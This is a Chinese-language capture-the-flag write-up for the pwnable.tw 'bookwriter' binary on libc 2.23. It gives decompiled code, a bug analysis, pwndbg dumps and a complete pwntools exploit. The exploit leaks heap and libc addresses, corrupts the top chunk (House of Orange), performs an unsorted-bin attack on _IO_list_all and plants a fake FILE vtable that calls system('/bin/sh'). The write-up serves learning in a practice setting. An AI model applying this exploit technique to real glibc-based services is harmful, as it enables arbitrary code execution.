# pwnable.tw bookwriter ubuntu16,libc 2.23

# 保护:

1
2
3
4
5
6
7
8
giantbranch@ubuntu:~/Desktop/pwnabletw/BookWriter$ checksec --file=bookwriter
[*] '/home/giantbranch/Desktop/pwnabletw/BookWriter/bookwriter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

# 主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
giantbranch@ubuntu:~/Desktop/pwnabletw/BookWriter$ ./bookwriter 
Welcome to the BookWriter !
Author :qqqqqqqqqqq
----------------------
BookWriter
----------------------
1. Add a page
2. View a page
3. Edit a page
4. Information
5. Exit
----------------------
Your choice :^C

# main 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to the BookWriter !");
readname();
while ( 1 )
{
menu();
switch ( getnum() )
{
case 1LL:
add();
break;
case 2LL:
info();
break;
case 3LL:
edit();
break;
case 4LL:
updatename();
break;
case 5LL:
exit(0);
default:
puts("Invalid choice");
break;
}
}
}

# readname 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 sub_400BDF()
{
printf("Author :");
return readck(&auther, 64LL);
}
__int64 __fastcall readck(__int64 a1, unsigned int a2)
{
int len; // [rsp+1Ch] [rbp-4h]

len = _read_chk(0LL, a1, a2, a2);
if ( len < 0 )
{
puts("read error");
exit(1);
}
if ( *(_BYTE *)(len - 1LL + a1) == '\n' )
*(_BYTE *)(len - 1LL + a1) = 0;
return (unsigned int)len;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
int menu()
{
puts("----------------------");
puts(" BookWriter ");
puts("----------------------");
puts(" 1. Add a page ");
puts(" 2. View a page ");
puts(" 3. Edit a page ");
puts(" 4. Information ");
puts(" 5. Exit ");
puts("----------------------");
return printf("Your choice :");
}

# add 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int add()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
char *v2; // [rsp+10h] [rbp-10h]
__int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 8 )
return puts("You can't add new page anymore!");
if ( !(&ptrlist)[i] )
break;
}
printf("Size of page :");
size = getnum();
v2 = (char *)malloc(size);
if ( !v2 )
{
puts("Error !");
exit(0);
}
printf("Content :");
readck((__int64)v2, size);
(&ptrlist)[i] = v2;
sizelist[i] = size;
++count;
return puts("Done !");
}

# info 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int info()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
idx = getnum();
if ( idx > 7 )
{
puts("out of page:");
exit(0);
}
if ( !(&ptrlist)[idx] )
return puts("Not found !");
printf("Page #%u \n", idx);
return printf("Content :\n%s\n", (&ptrlist)[idx]);
}

# edit 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int edit()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
v1 = getnum();
if ( v1 > 7 )
{
puts("out of page:");
exit(0);
}
if ( !(&ptrlist)[v1] )
return puts("Not found !");
printf("Content:");
readck((__int64)(&ptrlist)[v1], sizelist[v1]);
sizelist[v1] = strlen((&ptrlist)[v1]); // 更新size,但是,readck不会加设空结尾,不对齐输入,可以造成溢出1字节
return puts("Done !");
}

这里虽然会更新 size,但是如果我们读入的 text,刚好填充 chunk 的用户区,但是结尾不是’\x00’,更新长度的时候,会把下一个堆块的 size 算进去。造成溢出,如果是 topchunk_size 溢出会更多

# updatename 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 updatename()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("Author : %s\n", auther);
printf("Page : %u\n", (unsigned int)count);
printf("Do you want to change the author ? (yes:1 / no:0) ");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
readnum();
return __readfsqword(0x28u) ^ v2;
}

# 思路

程序的一的大漏洞就是对于输入的字符串只会检查换行符,而不会见擦汗输入是否有结束符,输入 name 的时候,党字符串长度为 64 时,就会接上 gptr, 导致堆地址泄露。

程序没有 free,如何泄露 libc?

add 时,判断错误,会导致读入第九个在 sizelist 的位置,所以修改 sizelist [0] 的大小为 0,readck 允许读入为 0。导致再次 edit ptrlist [0] 时读入很大数据溢出。修改 topchunk:

edit 时,对于非对齐输入,会造成溢出,将下一个堆块的 size,计入当前堆块 content 的 size,topchunk 溢出 3 字节,其他堆块溢出 1 字节。通过三字节的溢出将 topchunk 变得很小。

updatename 的时候使用了 scnaf ("% d"),这有点奇怪,因为 scanf 需要用到堆空间来处理缓存:(这里没有任何利用价值):

关键还是在于修改 topchunk , 党 topchunk_size 小于申请的空间大小时,会释放 topchunk 进入 unsortedbins, 这样就会造成 libc 及地址的泄露。

当我们已经申请了 8 个 page,如果 size [0]==0,就可以绕过检查,额外申请出来一个 page,将地址返回写道 size [0],那么,再次 edit ptrlist [0] 时,就可以实现溢出,(因为地址很大,足够溢出)

同时,更新 comment 的长度依旧是检查空字符,所以可以使的更新后对应的 size 为 0,导致第九个指针变量为 0,可以继续申请堆块,这个可以重复利用。

如此,旧的 topchunk 在 unsortedbins 里面,修改其 bk 指针,利用 unsortedbins attack 实现任意地址写大数据(main_arena+88),

1
2
3
4
5
6
pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7f7ba0e31540 <_IO_2_1_stderr_>
//payload = b'/bin/sh\x00'+p64(0x61)+p64(main_arena)+p64(list_all-0x10)+p64(2)+p64(3)
pwndbg> p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7f7ba0e30b78 <main_arena+88>

下面很巧妙的东西来了,我们伪造_IO_list_all 的数据为 main_arena+88, 那么原本_ _chain 指向下一个 file 结构体,结果 fakeFIlede 的 chain 就是 smallbins 的入口马志翔里面的第一个 chunk。所以我们将 unsortedbin 里面的 topchunk 的 size 变小,就会进入 smallbin,然后 fakefile_chain -->topchunk,我们利用溢出将 topchunk 伪造成另一个 fakefile2,并伪造 vtable。伪造 fakefile2 要注意, flag 写入的是‘/bin/sh\x00’ , 因为 vtable 里面的函数大多会以 flag 作为自己的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
pwndbg> p *(struct _IO_FILE_plus *) 0x7f7ba0e30b78   <main_arena+88> //伪造的第一个fakefile
$3 = {
file = {
_flags = 17100832,
_IO_read_ptr = 0x102c2c0 "/bin/sh",
_IO_read_end = 0x102c2c0 "/bin/sh",
_IO_read_base = 0x7f7ba0e31510 "",
_IO_write_base = 0x7f7ba0e30b88 <main_arena+104> "\300\302\002\001",
_IO_write_ptr = 0x7f7ba0e30b88 <main_arena+104> "\300\302\002\001",
_IO_write_end = 0x7f7ba0e30b98 <main_arena+120> "\210\v\343\240{\177",
_IO_buf_base = 0x7f7ba0e30b98 <main_arena+120> "\210\v\343\240{\177",
_IO_buf_end = 0x7f7ba0e30ba8 <main_arena+136> "\230\v\343\240{\177",
_IO_save_base = 0x7f7ba0e30ba8 <main_arena+136> "\230\v\343\240{\177",
_IO_backup_base = 0x7f7ba0e30bb8 <main_arena+152> "\250\v\343\240{\177",
_IO_save_end = 0x7f7ba0e30bb8 <main_arena+152> "\250\v\343\240{\177",
_markers = 0x102c2c0,
_chain = 0x102c2c0,
_fileno = -1595733032,
_flags2 = 32635,
_old_offset = 140168956939224,
_cur_column = 3048,
_vtable_offset = -29 '\343',
_shortbuf = "\240",
_lock = 0x7f7ba0e30be8 <main_arena+200>,
_offset = 140168956939256,
_codecvt = 0x7f7ba0e30bf8 <main_arena+216>,
_wide_data = 0x7f7ba0e30c08 <main_arena+232>,
_freeres_list = 0x7f7ba0e30c08 <main_arena+232>,
_freeres_buf = 0x7f7ba0e30c18 <main_arena+248>,
__pad5 = 140168956939288,
_mode = -1595732952,
_unused2 = "{\177\000\000(\f\343\240{\177\000\000\070\f\343"...
},
vtable = 0x7f7ba0e30c38 <main_arena+280>
}


//bins
smallbins
0x60: 0x102c2c0 —▸ 0x7f7ba0e30bc8 (main_arena+168) ◂— 0x102c2c0

pwndbg> p *(struct _IO_FILE_plus *) 0x102c2c0 //fakefile2
$4 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7f7ba0e30bc8 <main_arena+168> "\270\v\343\240{\177",
_IO_read_base = 0x7f7ba0e30bc8 <main_arena+168> "\270\v\343\240{\177",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = "\377\377\377\377", '\000' <repeats 15 times>
},
vtable = 0x102c3a0
}


//伪造的vtable
pwndbg> p *(const struct _IO_jump_t *) 0x102c3a0
$8 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x1,
__overflow = 0x7f7ba0ab13a0 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

下面要考虑的就是如何出发伪造的 vtable。首先我们这里的 fakefile2 取代了 stdout,所以当程序报错的输出信息时,会调用 over_flow,我们在伪造的 vtable 对应位置写入 system。

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
#context.log_level = 'debug'
r=process('./bookwriter')
elf = ELF('./bookwriter')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
cnt = 0x602040
name = 0x602060 #size=64
gp = 0x6020A0
gs = 0x6020E0


def ch(i):
r.sendlineafter("Your choice :",str(i))

def thename(text):
r.sendafter("Author :",text)

def add(size,text):
ch(1)
r.sendlineafter("Size of page :",str(size))
r.sendafter("Content :",text)

def show(idx):
ch(2)
r.sendlineafter("Index of page :",str(idx))

def edit(idx,text):
ch(3)
r.sendlineafter("Index of page :",str(idx))
r.sendafter("Content:",text)

def updatename(i,name=""):
ch(4)
r.sendlineafter("Do you want to change the author ? (yes:1 / no:0) ",i)
if i=="1":
thename(name)
#
gdb.attach(r,'b malloc')
thename(b"A"*0x40)
add(0x18,b"a"*4)
edit(0,'a'*0x18)
#now the size0 is 0x20+3,wocan overflow 3 bytes

edit(0,'\x00'*0x18+p32(0xfe1)+b'\x00')
pause()
ch(4)
r.recvuntil(b"A"*0x40)
heap_addr = u64(r.recvuntil('\n',drop = True).ljust(8,b'\x00'))-0x10
print(hex(heap_addr))
r.sendlineafter("Do you want to change the author ? (yes:1 / no:0) ","0")
add(0x1000,"\x00")

for i in range(7):
add(0x50,"AAAAAAAA")

show(3)

r.recvuntil(b"A"*8)

main_arena = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00'))
libcbase = main_arena - 0x3c4b78
list_all = 0x3c5520+libcbase
system =libcbase + libc.sym['system']
print("main_arena : ",hex(main_arena))
print("libcbase : ",hex(libcbase))
print("system : ",hex(system))

onegadget = 0xcafebabedeadbeef

'''
fakechunk =b'\x00'*0x2b0
pad =b'/bin/sh\x00'+p64(0x61)
pad+= p64(main_arena) +p64(list_all-0x10)+p64(2)+p64(3)
pad =pad.ljust(0xc0,b'\x00')
pad +=p64(0xffffffffffffffff)
pad = pad.ljust(0xd8,b'\x00')
vtable = heap_addr+0x10+0x2b0 + 0xd8 + 0x8
pad += p64(vtable)
fake_vtable = p64(0)*2+p64(1)+p64(system)
fakechunk+=pad+fake_vtable
edit(0,fakechunk)
'''
data = b'\x00'*0x2b0
payload = b'/bin/sh\x00'+p64(0x61)+p64(main_arena)+p64(list_all-0x10)+p64(2)+p64(3)
payload = payload.ljust(0xc0,b'\x00')
payload += p64(0xffffffffffffffff)
payload = payload.ljust(0xd8,b'\x00')
vtable = heap_addr + 0x2b0 + 0xd8 + 0x8+0x10
payload += p64(vtable)
payload +=p64(0)+p64(0)+p64(1)+p64(system)

edit(0,data + payload)
ch(1)
r.sendlineafter("Size of page :",str(0x10))
r.recv()
r.interactive()
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal